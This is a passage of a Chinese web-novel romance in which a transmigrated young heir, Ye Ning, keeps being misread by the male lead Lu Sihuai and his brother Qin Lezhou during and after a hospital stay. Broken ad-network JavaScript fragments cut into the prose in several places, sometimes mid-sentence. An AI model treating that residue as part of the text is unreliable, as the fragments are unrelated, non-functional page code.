这剧情怎么这么熟悉? 现在剧情怎么又忽然对上号了? 那他之前演这一出的意义在哪? 吕二第三条接着发来。 【吕二:叶少你放心,只要你一声令下,我们兄弟一定帮你把场子找回来!】 真是要疯了。 叶宁根本不知道“自己”是不是真的找了两拨打手,但他知道,这场子他找不回来。 义愤填膺的吕二终于收到回信,只有两个字。 【别管。】 吕二一拍大腿,叶少没否认第二拨人,也就是说他的确安排了第二拨人马,也就是说罗光的腿真的是他打折的! 叶宁这辈子都想不到,“江湖消息”传播速度能如风吹野草,几乎是他发出消息的同时,赵浩南他们也收到了消息。 雨天脚滑踩空摔了一跤以致于折了一条腿的罗光,在收到“叶小少爷承认自己打折了罗光一条腿”这个消息的时候,久久凝视自己打着石膏的腿,发出惊天疑问:“我这条腿,是叶小少爷打的?” 屋子里是死一般的静寂。 直到—— “操,叶小少爷不会真想担了这名吧?” “为什么啊?这又不是什么好事?” “你还记不记得,叶小少爷跟南哥说过一句话——‘如果我断你一条腿,他会不会来见我’。” - 叶宁头疼得不行,他把手机彻底翻了一遍,都没找到第二拨打手的信息。 他选择放弃,如果真有什么bug自动修补机器,那就是不可抗力。 叶宁坐在护理床上,面朝着窗户,闭着眼睛,拉满命缩力。 没那么想死。 但确实也没那么想活。 “叩叩——” 两声敲门声自门口传来,不轻不重。 叶宁以为是助理,叹了口气,开口:“进。” 他现在不太想见人,只想一个人静静。 背后传来一声咳嗽。 有些怪异,也有些刻意。 “我这边暂时没事,你先回公司吧,”叶宁道,“有事我再联系你。” “那、那什么,”背后的人总算出声,“叶宁。” 这声音…好像有点熟悉? 总觉得在哪里听过。 叶宁迟疑片刻,转过身的瞬间,脑海才延迟反应似的闪回三两个画面。 建京时间,早晨8点13分,在医院昏睡一天又被吕二的消息打得晕头转向的叶宁,终于想起昨天昏倒前发生的事。 他侧过身,昨天躺在台阶上的身影与现在站在病房里的、同样穿着病号服的、抱着果篮的身影不断交错,彻底重合。 秦乐舟只一眼,就看到了叶宁额角上的敷贴和脸侧的擦伤。 自出生到现在,不,到昨天下午以前,他顺风顺水的人生就没有这么尴尬的时候。 秦乐舟直到站到这件病房门前,都还记得昨天下午彻底昏过去前,公馆安保那诛心的话。 ——“秦少唉,人叶少自己淋着雨,把伞都给你了,还好心扶你,你怎么还将人推倒呢?!” 安保那“你这个忘恩负义恩将仇报以怨报德的坏东西”的眼神,让秦乐舟即便在昏迷中,都连做三场噩梦。 秦乐舟对天发誓,他真没故意去推叶宁,只是身体下意识往后一退,他根本控制不了。 他也不知道叶宁这么脆弱,一推就倒,还发了场高烧,比他这个脑震荡的人昏得还久。 来之前,秦乐舟原本是打算送完果篮,态度端正地道歉道谢,等人出院再送点礼,了结这事,毕竟如果真要论起来,他昨天之所以在小区长阶摔个脑震荡,叶宁绝对是“罪魁祸首”。 ——不是谁在听到“叶宁之所以处处找淮哥的麻烦是因为他喜欢淮哥”这事都能保持冷静的。 如果能,那就不是人。 浩南哥在跟他说这个消息的时候,他就在那该死的台阶上。 秦乐舟原先是这么打算的。 可现在…… 他看着叶宁这一张因为受伤,显得愈发苍白脆 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 弱的脸,哑巴了。 叶宁不知道眼前的人正在心里自我搏斗,只是想起昨天的惨状:“你还好吧。” 秦乐舟低下头:“还好。” “这果篮放、放哪里?” “床头吧。” “…哦,哦。” 叶宁见他一副手脚都不知道怎么放的架势,只好指了指沙发:“坐。” “坐我就不坐了,”秦乐舟干巴道,“昨天的事,谢谢你,还有不小心推了你……对不起。” “没事。”叶宁醒来的时候已经听助理说过了,昨天他昏倒的原因,其实是因为高烧脱力,摔的那一下最多只能算“压垮骆驼的最后一根稻草”。 不过这些外伤倒真是摔的。 叶宁正想进一步解释,在床边罚站的某人忽然开口:“你的事,我…听说了。” 叶宁:“?” 事? 什么事? “我知道你救我可能是因为想见……”秦乐舟一鼓作气,“但,抱歉,我做不了我哥的主。” 叶宁一头雾水:“??” 什么跟什么? 秦乐舟抬起头,看着叶宁因为他这话露出的泫然恍惚神情,脑海中再度响起安保“你这个以怨报德的坏东西”的眼神,狠狠一咬牙:“行、行吧,刚刚的话当我没说,我…我替你想办法。” 叶宁:“???” “想…办法?什么办…喂!” 回答叶宁的是一道因为没收住力,有些响亮的关门声。 这都什么谜语人? 叶宁头疼得像是被重物擂了一拳。 好累。 病房里充斥着消毒水的味道,一早上先是助理,再是吕二,最后又来一个小谜语人,叶宁身心俱疲,一想到等会儿助理可能还要来,再躺不下去了。 他在床头留言簿上撕了张纸条,写了两行字,放在枕头上,拖着缠着绷带的脚踝往天台走。 他住的是21层,vip病房,刚从窗户往外看的时候,他发现了一个天台。 雨下了一夜,今早已经停了,天色还残留着落雨的痕迹,灰蒙蒙的。 贵宾区一草一木都有精心打理的痕迹,天台环境很好,还很贴心地安了扶手的护栏。 叶宁脚有些扭伤,没伤到骨头,撑着护栏虽然走得慢,但也不怎么疼。 他慢吞吞,一步一停,走到自动贩卖机前,没注意到不远处已经有人靠着墙,看了这边很久。 “滴,砰。” 水瓶从轨道落下,静静躺在取物口。 叶宁俯身,拿起水。 直到此时,他才意识到一个问题。 他右手有伤,拧不了盖。 叶宁肩膀微微一颤,叹了口气,正要将水放到一旁—— 一只骨节分明、五指修长的手从身后伸过来,接过那瓶被他放弃的水。 21层医院天台很安静,只有一点风声,叶宁背对着那人,瓶盖被拧开的摩擦声很轻,但叶宁却听得分明。 他转过身:“谢……” 还有一个“谢”字被吞没在喉间。 叶宁见过很多长相出众的人,实话实说,世家孩子模样基本都不会差,可像眼前人这么…扎眼的,很少。 他穿着一件纯黑色外套,轮廓高瘦却不单薄,眉眼深邃,背光站着,整个人被光影切割得更加锋利。 一身不好靠近的气息,却因为带着笑的唇角,显出几分随意来。 叶宁本能地感觉到…危险。 5. 你喜欢我啊 天台的风都带了点病态的温柔。 叶宁没贸然接水,只是定定看着眼前的人。 不认识,脑海中也没关于这人的记忆。 但骤然绷紧的身体告诉叶宁有问题。 在主流小说世界中,但凡模样张扬的,绝对不会是什么路人甲乙丙,更何况是像这人这么“浓墨重彩”的。 长得这么好看,肯定没好事。 叶宁警惕值拉满,慎之又慎地选择闭嘴,没有问出“你是?”两个字。 良久,他移开视线,用没有缠绷带的左手接过那瓶已经开盖的水,说了一句:“谢谢。” 那人没说话。 人在尴尬的时候,总要找点什么显得自己很忙。 叶宁侧过身,手捏地水瓶发出飒响。 他仰头喝水,眼睫不自然地颤了下。 这人是认识他吗? 怎么还不走? 最终先挨不住的是叶宁,他放下水,终于转正身子看着眼前的人:“我先……” “陆司淮。” 叶宁听到一声轻笑,紧接着,那人重复着,用比之前更慢一分,更低一些的声音,像是知道他在想什么似的,自报家门:“陆司淮。” 叶宁:“…………” 叶宁被钉在原地。 谁? 他说他是谁? 眼前景物仿佛都黑了一瞬,世界飘飘摇摇,叶宁甚至都没有反应过来为什么“积怨已久”的陆司淮要跟他自报家门。 水瓶被收紧,三两滴水珠从瓶口挤出,溅在叶宁下巴上,像是雨。 有那么一瞬间,叶宁以为自己又回到了昨天那条巷子。 ……他宁愿回到那条巷子。 “不喝了?”那人好整以暇看着他,然后极其自然地接过叶宁手上被捏得变形的水瓶。 明明上一秒还像是不认识的人,现在却游刃有余地对话,熟稔到像是什么好友。 叶宁感觉周遭景色都在剥落,下沉。 想跑。 叶宁心口一沉。 可眼下状况显然没多给他反应的机会。 他往后退了一步,稳住心绪。 不能露馅,他是“叶宁”。 叶宁终于回到角色本身:“你怎么在…这里?” 陆司淮语气很随意:“有人住院,来看看。” 住院? 叶宁脑海快速风暴,理清事件始末。 “罗光?”叶宁立刻开口。 陆司淮像是有些意外这个回答,没否认,但也没说是。 叶宁却已经单方面确认这个事实。 兜兜转转,剧情回到正轨。 罗光折了一条腿,他住院,陆司淮来清算,接下来,陆司淮是不是就该回建京了? 不知道是“陆司淮要回建京”给了他底气,还是剧情回到熟悉模样的安全感,叶宁忽地没那么慌了。 “罗光腿折了,”他慢慢地往后一靠,撑着护栏,抬头,看着眼前的男主,“所以你来找我。” 既然躲不过,揍就揍吧,叶宁心想。 好在这里是医院。 离得近,一秒入院。 陆司淮却只是笑了下,视线有意无意扫过叶宁攥着护栏的手,慢悠悠跟着转过身。 他同样靠住扶栏,和叶宁并肩站着。 远远望去,倒像是什么关系亲密的朋友。 “你打的?”陆司淮总算回了一句。 叶宁:“。” 问题就是,他也不知道是不是“自己”打的。 “如果我说是呢。”叶宁苍白着一张脸,许久。 “如果我说是,你也要我一条腿吗。” 破罐子破摔的场面让叶宁彻底放松下来,完全没留意身旁陆司淮的眼神,只是默默看向自己打着绷带的脚踝。 也不知道能不能和男主打个商量,换个地方挨揍。 陆司淮看着叶宁。 脸侧带着擦伤,嘴角有一小块不算明显的淤痕,额角贴着半个手掌宽的白色敷贴,手腕脚腕缠着绷带,套着宽松的病号服,俯身拿水的时候,细伶伶一把腰。 两天,见了两面。 两面都可怜兮兮的。 陆司淮想起昨天下午在巷子里见到的场景。 矜贵的家养猫淋了雨,困在阴暗潮湿的窄巷。 像是一只流浪动物。 还真是…稀奇。 “叶宁。” 叶宁正思考男主会揍哪里,忽地听到有人喊他,下意识应了一声:“嗯?” 应完,他才想起这里能喊他的,目前只有陆司淮,于是循声偏头。 叶宁一下子撞进陆司淮视线。 他正看着他。 “……怎么了?”叶宁再度紧张起来,脊背都是僵的,手本能地攥紧护栏,正要开口,下一秒。 一道霹雳在耳边炸开。 ——“你喜欢我啊。”陆司淮声音带着笑意,慢条斯理,很轻。 风停了。 一两滴急雨自上而下,打在天台乳白的墙上,噼啪两声。 叶宁心跳剧烈,彻底失控,心脏仿佛跟着急雨从高处悬空到极速坠落,一切无处遁形。 他听到了什么? 陆司淮为什么会…他不是和赵浩南说好了,不跟陆司淮说吗? 这才过去一天,江湖人没有道义的吗? 良久。 叶宁背在身后的手死死攥着,硬着头皮,咬牙道:“如果我说…是呢?” 陆司淮将叶宁所有小动作尽收眼底,看着那因为过分用力而绷出青紫色筋脉的白皙手背,几不可见地挑了挑眉。 他的视线慢慢、慢慢上移,掠过唇角,鼻尖,最终定格在叶宁泛着水色的眉眼。 一张说爱的嘴。 一双…说谎的眼睛。 骗子。 “是么。”陆司淮应道。 叶宁呼吸都停滞下来。 陆司淮笑了。 虽然很轻,但他发誓,他真的听到陆司淮笑了一声。 叶宁一言不发,神游着扭过头,看向天台最近的、离自己仅有十几米的那道墙。 如果撞上去,他—— “下雨了,身上还有伤,回病房吧。” 耳边再度响起的声音,让叶宁从恍惚中回神。 陆司淮忽地鸣金收兵,没有任何征兆,突然得就像就像他漫不经心说出那句“你喜欢我啊”。 叶宁已经分不出丝毫心神去分辨为什么陆司淮的话题跳得这么快,只觉得得救了。 蓄了一夜的湿气终于在这几滴急雨中得到释放,没有阻碍地倾泻下来。 叶宁思绪都是空的,他撑着护栏,一步一步往前走。 同样的几步路,却好像比来时辗转万倍。 叶宁脚步仓促到像是身后有鬼在追。 …对了,他身后有个陆司淮,叶宁机械地想。 会说“你喜欢我啊”,比鬼恐怖的陆司淮。 陆司淮看着眼前走得吃力,随时要失衡的某位病号。 下一秒—— 叶宁视线陡然旋转,延伸。 落进一个残存着香气的怀抱。 气味有点熟悉。 像是寺庙那种檀香。 陆司淮打横将人抱起来。 “水还要不要。” “……要。” “自己拿好。” “…哦。” “淋到绷带了,手收进来。” “……哦。” 叶宁失去一切思考能力,像一个收到指令的机器人,陆司淮指哪打哪。 怀里的人从浑身僵硬,到像是承认这样的确比自己一步一步挪要舒服,从而彻底松神窝下来,花了两分钟工夫。 那是一种很习惯于被照顾,也被惯得很好的“下意识”。 哪怕是被他抱着。 陆司淮低头看了怀中安安静静抱着水瓶的人一眼。 的确是被如珠如宝 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 养大的少爷。 叶宁看似平静,其实在陆司淮怀中走了已经有一会儿了。 他没说话,也不抬头,等再回过神来,医院走廊顶灯的刺眼光线已经打在身上。 “可以了,放我……” “淮哥!” 两道声音同时响起。 叶宁:“……?” 这声音…… 赵浩南终于找到人,一个箭步冲上来,也没来得及看陆司淮怀里的人,立刻道:“总算找到你了,淮哥,乐舟给你打电话你怎么都没接啊!” “哦对,先不说那个了,淮哥叶家小少爷是不是找你去了?他是不是说老罗的腿是他打的?唉!这事真是误会啊,老罗那腿是他自己脚滑踩空摔的,不关叶……” 赵浩南一口气说到底,被顶灯晃了一下眼,视线不经意往下一撇,然后,和陆司淮怀里的人对上视线…… 赵浩南:“???” 叶宁:“???” 叶宁发誓,如果不是被陆司淮抱着,他或许会在听到“脚滑踩空”这四个字的时候,就抓住赵浩南的领口,让他再说一遍。 自己摔的? 那他在天台费那么大劲跟陆司淮说这一通是为了什么? “叶…叶…”赵浩南惊得嘴巴上下打哆嗦,“淮、淮哥,你们这、这……” 这是什么离奇的姿势?! 怎么还抱上了?! 与此同时,又一道声音自后方传来。 “祖宗唉,你跑哪去了?”助理声音还带着急速跑动后的粗喘,他上前挤开赵浩南,从上到下扫描自家金疙瘩。 “怎么了这是?去哪又摔了?” “没摔,天台,”叶宁放弃思考,声音恍惚,“我留了纸条的,在枕头上。” “没事就好,没事就好。”助理长松一口气,这才匀出精力看向抱着叶宁的人。 有点眼熟,总觉得在哪里见过? 他思绪一闪,记忆回笼。 是云想科技的陆总,云江近年来风口浪尖上的新贵。 助理点头致意,虽然不知道自家小少爷怎么和他碰上的,但原因不要紧,他往前一步,朝着陆司淮伸手:“多谢陆总照拂,给我吧。” 陆司淮低下头,看了怀里的人一眼。 叶宁还在出神。 “就几步路,走吧。” 说完,陆司淮抱着人,径直朝着叶宁病房走。 助理正想说什么,手刚伸出来,就被身旁的人压下去了。 助理扭头,对上一张看起来有些凶神恶煞的脸。 “你就让淮哥抱着吧。”那人语气格外沧桑。 “你不知道你家少爷……唉,”赵浩南摇着头,看向前方那道抱着人的背影,“比起你,他一定更希望被淮哥抱着,你就别去打扰他们了。” 助理:“???” 陆司淮抱着人回到病房。 叶宁第一次知道,当人在面对没法再坏的局面时,原来是能保持自我平静的。 要不然他怎么还能在陆司淮把他放在病床上的时候,体面地说一句:“谢谢。” 还是那句话。 往好点想,明天可能就死了。 叶宁正想着,门外又响起火急火燎的脚步声。 叶宁以为是助理。 下一秒,“砰”一声,病房门被猛地拉开。 一道浅蓝色身影,从独立病房的玄关走道大步流星跑过来:“叶宁,你——哥?” 秦乐舟猛地刹住车。 哥? 叶宁皱了皱眉。 他和这位“病友”…不是这种关系吧? “病友”又往前走了一步,这次,整个人看起来端正不少,他转头,朝着床侧站着的那人,慢声开口:“哥,你怎、怎么在这儿啊,我刚刚还在找你。” 哦。 这“哥”喊的不是他,叶宁心想。 原来这人是陆司淮的弟弟。 原来局面还能再坏一点。 6. 恩将仇报 沉默越积越厚。 病房安静得像被按下暂停键。 秦乐舟大气都不敢喘,直到把视线从陆司淮身上转走,落在病床上的叶宁。 秦乐舟像是突然惊醒,往前小跑一步,顺势拦在叶宁和陆司淮中间。 “哥,还有罗光!浩南哥跟你说了没,罗光的腿是他自己摔的,不干叶宁的事,昨天我摔了,叶宁救了我,然后……” 陆司淮一言不发,只看着他。 秦乐舟诡异地顿了下,挠了挠下巴:“然后他也被我带摔了。” “从昨天到现在,我们俩都在医院呢。” 病房里再度恢复寂静。 “都在医院。”陆司淮冷不丁开口。 语气挺温和。 秦乐舟“嗯嗯”两声。 陆司淮:“还挺有本事。” 秦乐舟:“……” 秦乐舟有些心虚地收了收腰。 陆司淮忽然看了叶宁一眼。 被看得莫名其妙也下意识跟着心虚收了收腰的叶宁:“……” 急促的手机震动声响起,拯救了两人。 秦乐舟伸着脖子,看向陆司淮亮起的手机屏幕:“是小舅舅,肯定有要紧事,哥你快接!” 陆司淮这次没多说什么,只是简单看了床上的叶宁一眼,转身朝外走去。 秦乐舟扒在房门口盯了好一会,直到看着陆司淮坐电梯下楼,才长舒一口气,重新回到叶宁床边。 “我哥应该有事,走了。” 叶宁绷了一早上的精神懈下来,往后一靠。 终于。 秦乐舟一抬头,入眼的就是叶宁心如死灰的眼神,整个人笼罩着“心力交瘁”的阴影,像是一片废墟。 秦乐舟这才意识到,他哥的离开,对他来说是好事,但对叶宁来说…… “你……”秦乐舟一句话也说不出来。 自小也是被捧着长的秦乐舟几乎没什么安慰人的本领,此时只觉词穷。 “是我小舅舅的电话,我小舅舅身份比较特殊,是一位僧人,平日不怎么打电话,所以事情肯定有些要紧。” 叶宁囫囵听着。 哦。 但他为什么要跟自己说这个? 秦乐舟有些僵硬地伸出手:“你…别难过。” 叶宁:“……?” “叶宁,”秦乐舟考量很久,脱口报了出一串数字,“这是我的电话,微信也是同一个,你……” 他看着叶宁那打着绷带的手,再看看他心如死灰再不愿与人交流的模样,叹了一口气。 唉,现在除了他哥,叶宁大概也不想和任何人说话。 他有什么错呢,只不过喜欢上了一个没可能的人罢了。 “算了,”秦乐舟撑着护理床坐起来,拿过叶宁床头的手机,对着“伤心断肠”的叶宁一扫脸,打开微信,添加好友,打开通讯录,添加联系人,又重新塞回叶宁手心。 “这是我的联系方式,你收好。” “我不是那种忘恩负义的人,昨天你救了我,这恩情我一定报。” 稀里糊涂就被解锁手机的叶宁:“……” 21层每间vip病房外,都挂着病人姓名牌,秦乐舟的病房就在叶宁两间之外,在去天台的路上,叶宁扫过一眼,记下了他的名字。 “秦乐舟。”叶宁忽然喊了一声。 他声音有些哑,像是极力压着什么,秦乐舟听得很不是滋味,他看着伤身又伤心的叶宁,终是一狠心。 秦乐舟拿出手机,打开微信,找到一个熟悉的头像,点开,推荐,发送。 叶宁手中的手机嗡的一声。 他顺势一低头。 屏幕上弹出一条微信消息提示。 他没来得及点开,秦乐舟已经开口:“有些事,只能你们自己解决,我们外人帮不上忙。” “这是我哥的微信,”说着,秦乐舟顿了下,“我也…只能帮到这里了。” 叶宁看着静静躺在他手机里的名片:“…………” 终于。 这世界疯成了他不认识的模样。 “秦乐舟。”叶宁抬起头,看向正站在他床侧的人。 “你对每个喜欢你哥的人,都这样吗?”叶宁发自真心地开口。 秦乐舟像是被问住了,思考片刻:“没、没有啊。” 叶宁:“那你为什么这么对我。” 做人不能恩将仇报。 “就因为我救了你?”叶宁继续道。 “是…也不是,”秦乐舟也不知道该怎么说,“主要是我觉得,你这个人…挺好的。” 叶宁:“……” 我谢谢你。 叶宁握着装有陆司淮电话的手机,像握着一个炸|弹。 不能再和男主以及男主身边的任何人产生不必要的联系了,叶宁心说。 他因爱生恨,那心理扭曲,做什么说什么都不意外。 叶宁下定决定。 “挺好的?”说着,叶宁抬起头,盯着秦乐舟看了两三秒,倏地轻笑了下,“就因为我救了你?” 有些讽刺的笑意。 紧接着,叶宁当着秦乐舟的面,拿起手机,点开微信,选中那张静静躺在消息列表的个人名片,删除。 他一错不错看着秦乐舟:“陆司淮的弟弟,这么天真啊。” 手机屏幕上弹出一条提示消息。 【是否删除该条消息?】 叶宁手指按下那鲜红的“确认”。 炸|弹拆除成功。 烫手的名片彻底消失。 “你就没想过,如果不是因为你哥,我根本不会救你,无论你在那台阶上躺多久,被雨淋多久,我都当没看见,甚至连个急救都不会帮你打。” “你!”秦乐舟眼睁睁看着叶宁把他发送的名片删得干干净净。 可叶宁手上动作还是没停,这次,他点开的是秦乐舟的头像。 头像,右上角,资料设置,最后一行。 叶宁一一点过,白皙手指最终停在红色的“删除联系人”按钮上。 叶宁不仅要删掉他哥,还要删掉他。 秦乐舟不敢置信地睁大眼睛。 早上在医院醒来,知道救他的人是叶宁之后,秦乐舟怀疑过叶宁救他是为了接近他哥,也接受了这个事实,可等他走到病房,和叶宁见面,又觉得叶宁和他想象中好像不太一样。 可现在,叶宁亲口承认救他就是为了接近他哥,甚至说得这么…什么叫连个急救都不会帮你打? 秦乐舟气炸了:“叶宁,我好心……” “够了!” 一道声音突然从玄关处传来。 叶宁贴在屏幕上的手一抖,手机掉落在被面上。 两人同时看过去,只见赵浩南神情复杂地走过来,看样子,像是在门口听了很久。 秦乐舟咬着牙:“浩南哥,你都听到了,叶宁他……” “乐舟。”赵浩南声音低沉,截住秦乐舟的话。 “别说了,我都听到了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” 叶宁只怔神片刻,立刻反应过来。 目前和他有所关联的“主角团”,除了秦乐舟,就是赵浩南他们,而事情根源也在赵浩南他们,既然赵浩南也听到了,认清他的真名目,一切自然也就该回到正轨。 很好,一人不落。 “你没听出他是故意的吗?”赵浩南开口。 叶宁:“……?” 赵浩南看着叶宁苍白的脸,不忍地撇过头去,他拉住扭头就要走的秦乐舟,声音有些哽咽。 病房瞬间安静下来。 不说秦乐舟,就连叶宁都跟着没了动作。 秦乐舟:“故意…什么?” 赵浩南抹了一把脸:“如果他救你真的是想利用你,接近你哥,那他就应该顺势加上你的联系方式,加上淮哥的联系方式,然后用尽一切手段和你处好关系。” 赵浩南都有些说不下去了,声音更加粗哑:“而不是像现在这样,一把删干净。” 呼吸监测仪。 叶宁觉得现在他真的需要一个呼吸监测仪,心率要爆了。 赵浩南这么会编,他怎么不去做编剧。 叶宁手指死命攥着被角,才忍住揪赵浩南领子的冲动。 秦乐舟整个人已经傻了,他极慢、极慢地扭过脑袋,看着坐在床上,沉默不语的叶宁。 肩膀在抖,手指在抖,他低着头,脸色依旧苍白又羸弱,像是承受了什么巨大的痛苦。 赵浩南:“他只是不想让你有心理负担罢了,你……” “赵浩南,”有什么东西已经堵在嗓子眼了,叶宁出声警告,“别说了。” 再说他就报警。 秦乐舟将叶宁痛苦的样子全部看在眼里,那种浓烈的情感仿佛化成了实质,全部压在叶宁身上。 叶宁明明没有哭,可他看起来,却像是早已哭干了眼泪! 秦乐舟不再说话,拿过叶宁被面上的手机,一通操作,强硬地放在叶宁手中。 秦乐舟:“这是我哥的微信名片和电话。” 叶宁心如死灰。 炸|弹不仅没扔掉,还多了一个。 秦乐舟:“和刚刚给你的不一样,这是私人的。” 叶宁:“……” 秦乐舟:“只有家人和朋友有。” 叶宁:“………” “你放心,就算被揍,也是我被揍,我习惯了,你不要有心理负担,”秦乐舟继续道,“还有…你不用再故意说些折磨自己的话了,我知道那不是你的本意。” “留好联系方式,以后你删一次,我发一次。” 叶宁被抽干了力气,已无心再辩驳。 秦乐舟见叶宁总算不再强撑着去折腾自己,也松了一口气。 他往前走了一步,朝着叶宁伸出手。 秦乐舟拍了拍叶宁那在宽松病号服的映衬下,显得很清瘦的肩膀,一字一字开口:“叶宁,你救了我,不管以后你和我哥能走到哪一步,都不会影响我们之间的关系。” “从今天起,你这个兄弟,我秦乐舟认了。” 赵浩南同样走上前来。 “叶小少爷,你也知道,我这个人没什么文化,也不会说什么漂亮话。” “以前我们有过一些无伤大雅的误会,可从你决定担下罗光腿的事起,我就敬你是个人物,有胆气!再加上救了乐舟,你这个兄弟,我们也认了!” 叶宁手指僵硬抓着手机,听着秦乐舟和赵浩南的声音,闭上眼睛。 精疲力尽。 7. 我有我的节奏 叶宁在医院住了一星期。 秦乐舟从一天两趟,到一天五趟,再到一天两趟,一趟半天,只用了三天。 叶宁从尚有反抗余地到麻木,也只用了三天。 自从秦乐舟认定叶宁“言不由衷”之后,只要叶宁一说“你别来了”,秦乐舟就会用复杂的目光看向他,然后说着什么友情啊羁绊啊就冲上来了。 叶宁彻底投降。 投降的结果就是,住院第七天,早上八点。 秦乐舟熟门熟路摸进叶宁病房,一脸严肃站在他床头,说:“刚刚博文哥来看我,哦,博文哥你可能不认识,姓姚,是云想科技的副总,目前是我哥的副手,下次我介绍你们认识。” “他说我哥这段时间一直在忙一个收购案,所以没时间来医院,我又是小伤,不碍事,不是为了…避开你。” “你很想见他吧?其实主要也是我就摔个轻微脑震荡,连个疤都没有,如果我也跟罗光一样,折条腿什么的,我哥一定……” 叶宁用秦乐舟带来的水果堵住了秦乐舟叭叭的嘴。 在秦乐舟开始思考装病把陆司淮骗过来,以解叶宁相思之苦的时候,叶宁终于忍不了了,当天下午办理出院。 然而他忘了最重要的一点。 当天晚上,秦乐舟拎着水果篮,站在别墅门口。 叶宁这才想起来,他们住在同一公馆,还那么巧的,刚好是前后两幢。 叶宁:“……” 秦乐舟见面第一句话:“我哥加你了吗?” 叶宁服气了。 这段时间,除了“友情啊羁绊啊”,秦乐舟每天雷打不动要问的就是“我哥今天加你了吗”。 好在秉持着“保护好友脆弱敏感隐私”的原则,秦乐舟没有检查过叶宁的手机,所以他不知道叶宁根本就没有打开过那张名片,也没打算打开。 秦乐舟把果篮放在厨房岛台,小心翼翼又问了一遍:“我哥还没加你吗?” 叶宁:“嗯。” 秦乐舟皱起眉:“都七天了,陆司淮在干什么?” 叶宁手一顿。 可能是不想让叶宁伤心,秦乐舟其实每天提起陆司淮的次数很少。 除了在每日例常一问“加你了没有”之外,就只有类似于姚博文那样的情况,跟他解释陆司淮不来医院的理由时,才会慎之又慎地提一嘴。 每次提,也只是用“我哥”作代词,像今天这样直呼“陆司淮”的,基本没有过。 一下子听到“陆司淮”三个字,叶宁脑海瞬间闪过天台上两人的对话。 ——“叶宁。” ——“你喜欢我啊。” 叶宁到现在也没思考明白陆司淮为什么突然这么说。 秦乐舟许久没听到身旁人的动静,一转头,叶宁靠着岛台正出神。 他只是提了一下他哥的名字…… 叶宁手腕和脚腕的扭伤已经好了,但额角伤没好得这么快,青青紫紫的,让人心生不忍。 一星期都没加上,叶宁一定很受打击。 秦乐舟叹了一口气。 每次遇上他哥,叶宁好像都很隐忍,之前更是决绝到连联系方式都不要……秦乐舟忽然想到一种可能。 秦乐舟:“叶宁。” 叶宁应了一声:“嗯。” “你实话告诉我,你不会…根本没加吧?” 叶宁神色倏地顿住。 这兄弟俩跳转话题的本事简直如出一辙。 “加了。”叶宁绷起神来。 视线却闪躲。 秦乐舟一眨不眨盯着叶宁:“你撒谎。” 叶宁:“……” 秦乐舟朝他伸手:“手机给我,我检查。” 叶宁:“……” 秦乐舟恨铁不成钢地看着叶宁,正要开口,耳畔忽然听到叶宁的声音。 “他不会加我的。” 天色已近黄昏,屋里没有开灯,只有夕阳柔柔的光线从客厅正面落地窗照进来,打在岛台,落在失意的年轻人脸侧。 叶宁低垂着眉眼,所有神情隐匿在暗处。 “我知道,”叶宁声音轻得不像话,“从一开始就知道。” 秦乐舟骤然失语。 叶宁背对着秦乐舟,朝着冰箱慢步走去。 “既然不可能,何必白费力气,自讨苦吃。” 叶宁打开冷藏柜,躲在半人高的冰箱门里,拿了一瓶冰水,仰头喝了一口。 又喝了一口。 又又喝了一口。 直到冰水没掉半瓶,叶宁心率才重新下去。 他是从哪里知道自己没加的? 但总这么拖着也不是办法,等叶宁冷静下来,忽然觉得这个时间点也不失为一个好时机。 他可以彻底了结这张名片。 借着冰箱冷藏室门的遮掩,叶宁调整了一下呼吸:“我知道你想帮我,但这件事就到此……” 人呢? 叶宁关上冷藏室的门,看着空荡荡的客厅。 刚刚不还在这坐着吗? 庭院中,秦乐舟拿着手机,通话时长显示已有两分钟。 接到秦乐舟电话的时候,陆司淮正在法源寺东配殿的抄经堂。 没抄经,只是在等人。 秦乐舟絮絮叨叨,中心词却只有一个——叶宁。 短短一个星期,两人似乎已经处得很好。 陆司淮眼帘垂着,一边听,一边把玩着慧闻大师最近新收的那方溪山荷叶砚。 白费力气,自讨苦吃…… “他这么说的?”陆司淮放下手上的砚台,开口。 “嗯。” “哥,”秦乐舟一想到叶宁刚刚那幅神态,好像世界孤寂到只剩他一个人,鼻子就酸得不行:“…你没看到他刚刚的样子。” “他看起来…看起来…”秦乐舟思考良久,总算找到合适的说法,“他看起来快碎了!” 陆司淮低下头,手边是慧闻大师抄至尾页的经文,刚好停在四个字上——妄言妄语。 白费力气,自讨苦吃。 你们这样的人,都能跟在他身边,我却不可以。 陆司淮忽地笑了一声:“还挺贴切。” 秦乐舟没听清:“啊?哥你说什么?” “没什么。”陆司淮把心经纸合上,收好,净完手,转身朝殿外走。 秦乐舟最后在电话里听见的,是法源寺悠远的钟声,以及他哥带着明显笑意的一句。 “把叶宁联系方式给我。” 叶宁给忽然消失的秦乐舟打了通电话,那头显示正在通话中。 叶宁没多想,挂掉电话没多久,玄关感应灯亮起。 叶宁望过去,秦乐舟去而复返,神色有点怪异。 像是雀跃,中间又夹杂着踯躅。 秦乐舟:“我哥他……” 又来。 叶宁真是败给他。 不过也好,趁这个机会把刚刚没来得及说的话说完,免得每天都来一遭。 刚刚已经在脑海演练过一遍,叶宁驾轻就熟:“别再做没用的事了,我……” “嗡。” 手机忽然震一声。 叶宁顺势一低头。 【LSH请求添加你为好友】 【备注:陆司淮】 叶宁:“………………” 叶宁大脑停止运转。 秦乐舟迅速跑过来,低头,目光虔诚又希冀地往下一低。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>真的是他哥! 他看着身旁因为不敢置信,整个人僵如枯木的叶宁,嘴巴跟着颤动。 秦乐舟第一次知道,原来那句暗恋是一个人的兵荒马乱不是假话! 秦乐舟终是没忍住,伸出双手,拍了拍叶宁的肩膀:“你不用说话,我理解,我都知道,你终于等到了。” 叶宁真的觉得他已经精疲力尽。 “陆司淮为什么…突然加我。”叶宁声音都哑着。 秦乐舟松开手,哪怕已经收敛了几分表情,还是难掩自豪的神色。 “别跟我说客气的话,都是兄弟。” 叶宁身体像是漏了似的,连抬手的力气都消散干净。 秦乐舟:“你高兴吗?” 叶宁面如死灰:“我谢谢你。” 